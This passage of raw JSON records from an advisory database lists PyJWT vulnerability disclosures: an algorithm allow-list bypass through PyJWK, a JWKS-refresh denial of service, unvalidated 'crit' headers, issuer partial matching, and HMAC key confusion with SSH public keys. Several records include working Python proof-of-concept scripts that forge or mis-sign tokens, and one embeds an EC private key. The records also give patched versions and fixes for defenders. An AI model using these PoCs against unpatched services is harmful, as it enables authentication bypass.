controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow.\n\n### Summary\n\nPyJWT's `PyJWK` verification path allows a verifier-side algorithm allow-list bypass.\n\nIn affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller's `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object.\n\nThis lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration.\n\n### Details\n\nIn `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs:\n\n```python\nif algorithms is None and isinstance(key, PyJWK):\n    algorithms = [key.algorithm_name]\n\n...\n\nif not alg or (algorithms is not None and alg not in algorithms):\n    raise InvalidAlgorithmError(\"The specified alg value is not allowed\")\n\nif isinstance(key, PyJWK):\n    alg_obj = key.Algorithm\n    prepared_key = key.key\nelse:\n    alg_obj = self.get_algorithm_by_name(alg)\n    prepared_key = alg_obj.prepare_key(key)\n```\n\nThis logic means:\n\n1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list.\n2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm.\n3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created.\n\n`PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK's `alg` field or from key-type defaults:\n\n```python\nif not algorithm and isinstance(self._jwk_data, dict):\n    algorithm = self._jwk_data.get(\"alg\", None)\n\n...\n\nself.algorithm_name = algorithm\nself.Algorithm = get_default_algorithms()[algorithm]\nself.key = self.Algorithm.from_jwk(self._jwk_data)\n```\n\nSo once a `PyJWK` is constructed, the verifier uses the `PyJWK`'s bound algorithm, not the JWT header algorithm.\n\nThe issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents:\n\n```python\nsigning_key = jwks_client.get_signing_key_from_jwt(token)\njwt.decode(\n    token,\n    signing_key,\n    audience=\"https://expenses-api\",\n    options={\"verify_exp\": False},\n    algorithms=[\"RS256\"],\n)\n```\n\n`PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected.\n\nThis is not a \"no-key forgery\" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:\n\n- self-service OAuth client assertions\n- multi-tenant key registration\n- federation / BYO-JWKS trust models\n- any system where external parties sign JWTs with their own registered keys\n\nIn those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path.\n\nThe same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior.\n\nThis behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`.\n\n### PoC\n\nTested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`.\n\nInstall dependencies:\n\n```bash\npython -m pip install pyjwt==2.12.1 cryptography\n```\n\nRun the following script:\n\n```python\nimport json\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\nfrom jwt.api_jwk import PyJWK\nfrom jwt.algorithms import RSAAlgorithm\nfrom jwt.utils import base64url_encode\n\n# Generate an RSA keypair controlled by the attacker.\npriv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub = priv.public_key()\npub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\n\n# Build a PyJWK from the public key.\n# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.\njwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))\n\n# Create a token whose protected header claims RS512.\nheader = {\"typ\": \"JWT\", \"alg\": \"RS512\"}\npayload = {\"sub\": \"alice\"}\n\nheader_b64 = base64url_encode(\n    json.dumps(header, separators=(\",\", \":\"), sort_keys=True).encode()\n)\npayload_b64 = base64url_encode(\n    json.dumps(payload, separators=(\",\", \":\")).encode()\n)\nsigning_input = b\".\".join([header_b64, payload_b64])\n\n# Sign the RS512-labelled token with RS256 instead.\nsig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)\ntoken = b\".\".join([header_b64, payload_b64, base64url_encode(sig)]).decode()\n\nprint(\"token:\", token)\nprint(\"PyJWK path:\")\nprint(jwt.decode(token, jwk, algorithms=[\"RS512\"]))\n\nprint(\"PEM path:\")\ntry:\n    print(jwt.decode(token, pub_pem, algorithms=[\"RS512\"]))\nexcept Exception as e:\n    print(f\"{type(e).__name__}: {e}\")\n```\n\nObserved output:\n\n```text\nPyJWK path:\n{'sub': 'alice'}\nPEM path:\nInvalidSignatureError: Signature verification failed\n```\n\nThe token is accepted when the verification key is a `PyJWK`, even though:\n\n- the caller restricted allowed algorithms to `[\"RS512\"]`\n- the signature was actually generated with `RS256`\n\nThe same token is rejected when verified through the normal PEM/public-key path.\n\n### Impact\n\nThis is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`.\n\nThe impact depends on the deployment model:\n\n- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.\n- If attackers can legitimately control a registered key, this is exploitable.\n\nImpacted deployments include:\n\n- JWT client assertion flows where each client uses its own key\n- multitenant systems where tenants register JWK/JWKS material\n- federation-style trust models\n- any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys\n\nWhat an attacker can do:\n\n- bypass a server-side requirement such as \"only `PS256`\" or \"only `RS512`\"\n- continue using a deprecated or blocked algorithm after the server thought it had disabled it\n- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy\n\nWhat this issue does not do by itself:\n\n- it does not let an attacker forge tokens without access to a valid signing key or signing oracle\n- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T19:27:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f","https://nvd.nist.gov/vuln/detail/CVE-2026-48523","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-176.yaml","https://github.com/advisories/GHSA-jq35-7prp-9v3f"],"source_kind":"github","identifiers":["GHSA-jq35-7prp-9v3f","CVE-2026-48523"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.214Z","updated_at":"2026-12-04T21:03:49.084Z","epss_percentage":0.00127,"epss_percentile":0.02499,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcTM1LTdwcnAtOXYzZs4ABYrx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcTM1LTdwcnAtOXYzZs4ABYrx","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.13.0","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcTM1LTdwcnAtOXYzZs4ABYrx/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2026-48523","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-48523"},{"uuid":"CVE-2026-48523","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48523.json"},{"uuid":"USN-8823-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8823-1"}]},{"uuid":"GSA_kwCzR0hTQS1maHY1LTI4dnYtaDhtOM4ABYrb","url":"https://github.com/advisories/GHSA-fhv5-28vv-h8m8","title":"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)","description":"\u003e [!NOTE]\n\u003e  The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. Impact is reduced auth availability until the next successful fetch, not complete denial of service.\n\n## Summary\nPyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests.\n\nAdditionally, fetch_data() finally block clears the JWKS cache on network error.\n\n## Root Cause\njwt/jwks_client.py:172-198 - get_signing_key(kid) calls get_signing_keys(refresh=True) for unknown kids, bypassing TTL cache with no cooldown.\njwt/jwks_client.py:120-122 - finally block writes None to cache on error, clearing valid data.\n\n## Impact\n- DoS against JWKS endpoint (unlimited requests per invalid token)\n- DoS against application (network I/O latency)\n- Cascading failure (rate limiting clears cache, breaking legitimate auth)\n\n## Suggested Fix\n1. Add refresh cooldown (refuse refresh more than once per TTL period)\n2. Move cache write from finally to else block\n\n## Affected Versions\nAll versions with PyJWKClient (2.4.0 through 2.12.1)","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-06-15T17:28:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-fhv5-28vv-h8m8","https://nvd.nist.gov/vuln/detail/CVE-2026-48524","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-177.yaml","https://github.com/github/advisory-database/pull/8522","https://github.com/advisories/GHSA-fhv5-28vv-h8m8"],"source_kind":"github","identifiers":["GHSA-fhv5-28vv-h8m8","CVE-2026-48524"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T18:00:08.064Z","updated_at":"2026-12-02T11:02:57.239Z","epss_percentage":0.004,"epss_percentile":0.36364,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1maHY1LTI4dnYtaDhtOM4ABYrb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1maHY1LTI4dnYtaDhtOM4ABYrb","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.13.0","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.12.1"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1maHY1LTI4dnYtaDhtOM4ABYrb/related_packages","related_advisories":[{"uuid":"CVE-2026-48524","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48524.json"},{"uuid":"USN-8823-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8823-1"},{"uuid":"UBUNTU-CVE-2026-48524","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8823-1"},{"uuid":"DEBIAN-CVE-2026-48524","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-48524"}]},{"uuid":"GSA_kwCzR0hTQS03NTJ3LTVmd3gtang5Zs4ABTlv","url":"https://github.com/advisories/GHSA-752w-5fwx-jx9f","title":"PyJWT accepts unknown `crit` header extensions","description":"## Summary\n\nPyJWT does not validate the `crit` (Critical) Header Parameter defined in\nRFC 7515 §4.1.11. When a JWS token contains a `crit` array listing\nextensions that PyJWT does not understand, the library accepts the token\ninstead of rejecting it. This violates the **MUST** requirement in the RFC.\n\nThis is the same class of vulnerability as CVE-2025-59420 (Authlib),\nwhich received CVSS 7.5 (HIGH).\n\n---\n\n## RFC Requirement\n\nRFC 7515 §4.1.11:\n\n\u003e The \"crit\" (Critical) Header Parameter indicates that extensions to this\n\u003e specification and/or [JWA] are being used that **MUST** be understood and\n\u003e processed. [...] If any of the listed extension Header Parameters are\n\u003e **not understood and supported** by the recipient, then the **JWS is invalid**.\n\n---\n\n## Proof of Concept\n\n```python\nimport jwt  # PyJWT 2.8.0\nimport hmac, hashlib, base64, json\n\n# Construct token with unknown critical extension\nheader = {\"alg\": \"HS256\", \"crit\": [\"x-custom-policy\"], \"x-custom-policy\": \"require-mfa\"}\npayload = {\"sub\": \"attacker\", \"role\": \"admin\"}\n\ndef b64url(data):\n    return base64.urlsafe_b64encode(data).rstrip(b\"=\").decode()\n\nh = b64url(json.dumps(header, separators=(\",\", \":\")).encode())\np = b64url(json.dumps(payload, separators=(\",\", \":\")).encode())\nsig = b64url(hmac.new(b\"secret\", f\"{h}.{p}\".encode(), hashlib.sha256).digest())\ntoken = f\"{h}.{p}.{sig}\"\n\n# Should REJECT — x-custom-policy is not understood by PyJWT\ntry:\n    result = jwt.decode(token, \"secret\", algorithms=[\"HS256\"])\n    print(f\"ACCEPTED: {result}\")\n    # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}\nexcept Exception as e:\n    print(f\"REJECTED: {e}\")\n```\n\n**Expected:** `jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy`\n**Actual:** Token accepted, payload returned.\n\n### Comparison with RFC-compliant library\n\n```python\n# jwcrypto — correctly rejects\nfrom jwcrypto import jwt as jw_jwt, jwk\nkey = jwk.JWK(kty=\"oct\", k=b64url(b\"secret\"))\njw_jwt.JWT(jwt=token, key=key, algs=[\"HS256\"])\n# raises: InvalidJWSObject('Unknown critical header: \"x-custom-policy\"')\n```\n\n---\n\n## Impact\n\n- **Split-brain verification** in mixed-library deployments (e.g., API\n  gateway using jwcrypto rejects, backend using PyJWT accepts)\n- **Security policy bypass** when `crit` carries enforcement semantics\n  (MFA, token binding, scope restrictions)\n- **Token binding bypass** — RFC 7800 `cnf` (Proof-of-Possession) can be\n  silently ignored\n- See CVE-2025-59420 for full impact analysis\n\n---\n\n## Suggested Fix\n\nIn `jwt/api_jwt.py`, add validation in `_validate_headers()` or\n`decode()`:\n\n```python\n_SUPPORTED_CRIT = {\"b64\"}  # Add extensions PyJWT actually supports\n\ndef _validate_crit(self, headers: dict) -\u003e None:\n    crit = headers.get(\"crit\")\n    if crit is None:\n        return\n    if not isinstance(crit, list) or len(crit) == 0:\n        raise InvalidTokenError(\"crit must be a non-empty array\")\n    for ext in crit:\n        if ext not in self._SUPPORTED_CRIT:\n            raise InvalidTokenError(f\"Unsupported critical extension: {ext}\")\n        if ext not in headers:\n            raise InvalidTokenError(f\"Critical extension {ext} not in header\")\n```\n\n---\n\n## CWE\n\n- CWE-345: Insufficient Verification of Data Authenticity\n- CWE-863: Incorrect Authorization\n\n## References\n\n- [RFC 7515 §4.1.11](https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.11)\n- [CVE-2025-59420 — Authlib crit bypass (CVSS 7.5)](https://osv.dev/vulnerability/GHSA-9ggr-2464-2j32)\n- [RFC 7800 — Proof-of-Possession Key Semantics](https://www.rfc-editor.org/rfc/rfc7800)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-13T20:05:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-752w-5fwx-jx9f","https://nvd.nist.gov/vuln/detail/CVE-2026-32597","https://lists.debian.org/debian-lts-announce/2026/05/msg00008.html","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-120.yaml","https://github.com/advisories/GHSA-752w-5fwx-jx9f"],"source_kind":"github","identifiers":["GHSA-752w-5fwx-jx9f","CVE-2026-32597"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-13T21:00:09.230Z","updated_at":"2026-12-02T11:07:00.925Z","epss_percentage":0.00299,"epss_percentile":0.24306,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTJ3LTVmd3gtang5Zs4ABTlv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NTJ3LTVmd3gtang5Zs4ABTlv","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.12.0","vulnerable_version_range":"\u003c= 2.11.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTJ3LTVmd3gtang5Zs4ABTlv/related_packages","related_advisories":[{"uuid":"DSA-6259-1","source_kind":"osv","url":"https://osv.dev/vulnerability/DSA-6259-1"},{"uuid":"CVE-2026-32597","source_kind":"osv","url":"https://access.redhat.com/errata/RHSA-2026:10140"},{"uuid":"UBUNTU-CVE-2026-32597","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8133-1"},{"uuid":"USN-8133-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8133-1"},{"uuid":"DEBIAN-CVE-2026-32597","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-32597"}]},{"uuid":"GSA_kwCzR0hTQS03NWM1LXh3N2MtcDVwbc4ABB_Q","url":"https://github.com/advisories/GHSA-75c5-xw7c-p5pm","title":"PyJWT Issuer field partial matches allowed","description":"### Summary\nThe wrong string if check is run for `iss` checking, resulting in `\"acb\"` being accepted for `\"_abc_\"`.\n\n### Details\nThis is a bug introduced in version [2.10.0](https://github.com/jpadilla/pyjwt/commit/1570e708672aa9036bc772476beae8bfa48f4131#diff-6893ad4a1c5a36b8af3028db8c8bc3b62418149843fc382faf901eaab008e380R366): checking the \"iss\" claim\nchanged from `isinstance(issuer, list)` to `isinstance(issuer,\nSequence)`.\n\n```diff\n-        if isinstance(issuer, list):\n+        if isinstance(issuer, Sequence):\n            if payload[\"iss\"] not in issuer:\n                raise InvalidIssuerError(\"Invalid issuer\")\n        else:\n```\n\nSince str is a Sequnce, but not a list, `in` is also used for string\ncomparison. This results in `if \"abc\" not in \"__abcd__\":` being\nchecked instead of `if \"abc\" != \"__abc__\":`.\n### PoC\nCheck out the unit tests added here: https://github.com/jpadilla/pyjwt-ghsa-75c5-xw7c-p5pm\n```python\n        issuer = \"urn:expected\"\n\n        payload = {\"iss\": \"urn:\"}\n\n        token = jwt.encode(payload, \"secret\")\n\n        # decode() succeeds, even though `\"urn:\" != \"urn:expected\". No exception is raised.\n        with pytest.raises(InvalidIssuerError):\n            jwt.decode(token, \"secret\", issuer=issuer, algorithms=[\"HS256\"])\n```\n\n\n### Impact\n\nI would say the real world impact is not that high, seeing as the signature still has to match. We should still fix it.\n","origin":"UNSPECIFIED","severity":"LOW","published_at":"2024-12-02T18:34:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-75c5-xw7c-p5pm","https://nvd.nist.gov/vuln/detail/CVE-2024-53861","https://github.com/jpadilla/pyjwt/commit/1570e708672aa9036bc772476beae8bfa48f4131#diff-6893ad4a1c5a36b8af3028db8c8bc3b62418149843fc382faf901eaab008e380R366","https://github.com/jpadilla/pyjwt/commit/33022c25525c1020869c71ce2a4109e44ae4ced1","https://github.com/advisories/GHSA-75c5-xw7c-p5pm"],"source_kind":"github","identifiers":["GHSA-75c5-xw7c-p5pm","CVE-2024-53861"],"repository_url":"https://github.com/jpadilla/pyjwt","blast_radius":9.534849581136724,"created_at":"2024-12-02T19:08:17.092Z","updated_at":"2026-12-02T11:11:25.652Z","epss_percentage":0.00832,"epss_percentile":0.58716,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NWM1LXh3N2MtcDVwbc4ABB_Q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NWM1LXh3N2MtcDVwbc4ABB_Q","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"= 2.10.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NWM1LXh3N2MtcDVwbc4ABB_Q/related_packages","related_advisories":[{"uuid":"CVE-2024-53861","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/53xxx/CVE-2024-53861.json"}]},{"uuid":"GSA_kwCzR0hTQS1mZnFqLTZmcXItOWgyNM4AArBb","url":"https://github.com/advisories/GHSA-ffqj-6fqr-9h24","title":"Key confusion through non-blocklisted public key formats","description":"### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDisclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).\n\n\u003e PyJWT supports multiple different JWT signing algorithms. With JWT, an \n\u003e attacker submitting the JWT token can choose the used signing algorithm.\n\u003e \n\u003e The PyJWT library requires that the application chooses what algorithms \n\u003e are supported. The application can specify \n\u003e \"jwt.algorithms.get_default_algorithms()\" to get support for all \n\u003e algorithms. They can also specify a single one of them (which is the \n\u003e usual use case if calling jwt.decode directly. However, if calling \n\u003e jwt.decode in a helper function, all algorithms might be enabled.)\n\u003e \n\u003e For example, if the user chooses \"none\" algorithm and the JWT checker \n\u003e supports that, there will be no signature checking. This is a common \n\u003e security issue with some JWT implementations.\n\u003e \n\u003e PyJWT combats this by requiring that the if the \"none\" algorithm is \n\u003e used, the key has to be empty. As the key is given by the application \n\u003e running the checker, attacker cannot force \"none\" cipher to be used.\n\u003e \n\u003e Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is \n\u003e not a public key meant for asymmetric algorithm i.e. HMAC cannot be used \n\u003e if the key begins with \"ssh-rsa\". If HMAC is used with a public key, the \n\u003e attacker can just use the publicly known public key to sign the token \n\u003e and the checker would use the same key to verify.\n\u003e \n\u003e  From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. \n\u003e With ed25519, PyJWT supports public keys that start with \"ssh-\", for \n\u003e example \"ssh-ed25519\".\n\n```python\nimport jwt\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import ed25519\n\n# Generate ed25519 private key\nprivate_key = ed25519.Ed25519PrivateKey.generate()\n\n# Get private key bytes as they would be stored in a file\npriv_key_bytes = \nprivate_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, \nencryption_algorithm=serialization.NoEncryption())\n\n# Get public key bytes as they would be stored in a file\npub_key_bytes = \nprivate_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)\n\n# Making a good jwt token that should work by signing it with the \nprivate key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"EdDSA\")\n\n# Using HMAC with the public key to trick the receiver to think that the \npublic key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, pub_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n     print(\"POC Successfull\")\n\n# Of course the receiver should specify ed25519 algorithm to be used if \nthey specify ed25519 public key. However, if other algorithms are used, \nthe POC does not work\n# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py\n#\n#        invalid_strings = [\n#            b\"-----BEGIN PUBLIC KEY-----\",\n#            b\"-----BEGIN CERTIFICATE-----\",\n#            b\"-----BEGIN RSA PUBLIC KEY-----\",\n#            b\"ssh-rsa\",\n#        ]\n#\n# However, OKPAlgorithm (ed25519) accepts the following in \njwt/algorithms.py:\n#\n#                if \"-----BEGIN PUBLIC\" in str_key:\n#                    return load_pem_public_key(key)\n#                if \"-----BEGIN PRIVATE\" in str_key:\n#                    return load_pem_private_key(key, password=None)\n#                if str_key[0:4] == \"ssh-\":\n#                    return load_ssh_public_key(key)\n#\n# These should most likely made to match each other to prevent this behavior\n```\n\n\n```python\nimport jwt\n\n#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem\n#openssl ec -in ec256-key-priv.pem -pubout \u003e ec256-key-pub.pem\n#ssh-keygen -y -f ec256-key-priv.pem \u003e ec256-key-ssh.pub\n\npriv_key_bytes = b\"\"\"-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49\nAwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk\nAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END EC PRIVATE KEY-----\"\"\"\n\npub_key_bytes = b\"\"\"-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL\nZr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END PUBLIC KEY-----\"\"\"\n\nssh_key_bytes = b\"\"\"ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=\"\"\"\n\n# Making a good jwt token that should work by signing it with the private key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"ES256\")\n\n# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, ssh_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n    print(\"POC Successfull\")\nelse:\n    print(\"POC Failed\")\n```\n\n\u003e The issue is not that big as \n\u003e algorithms=jwt.algorithms.get_default_algorithms() has to be used. \n\u003e However, with quick googling, this seems to be used in some cases at \n\u003e least in some minor projects.\n\n### Patches\n\nUsers should upgrade to v2.4.0.\n\n### Workarounds\n\nAlways be explicit with the algorithms that are accepted and expected when decoding.\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/jpadilla/pyjwt\n* Email José Padilla: pyjwt at jpadilla dot com\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-24T22:17:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24","https://nvd.nist.gov/vuln/detail/CVE-2022-29217","https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc","https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2022-202.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO","https://github.com/advisories/GHSA-ffqj-6fqr-9h24"],"source_kind":"github","identifiers":["GHSA-ffqj-6fqr-9h24","CVE-2022-29217"],"repository_url":"https://github.com/jpadilla/pyjwt","blast_radius":0.0,"created_at":"2022-12-21T16:12:23.497Z","updated_at":"2026-12-04T22:16:27.633Z","epss_percentage":0.01355,"epss_percentile":0.72538,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZnFqLTZmcXItOWgyNM4AArBb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZnFqLTZmcXItOWgyNM4AArBb","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.4.0","vulnerable_version_range":"\u003e= 1.5.0, \u003c 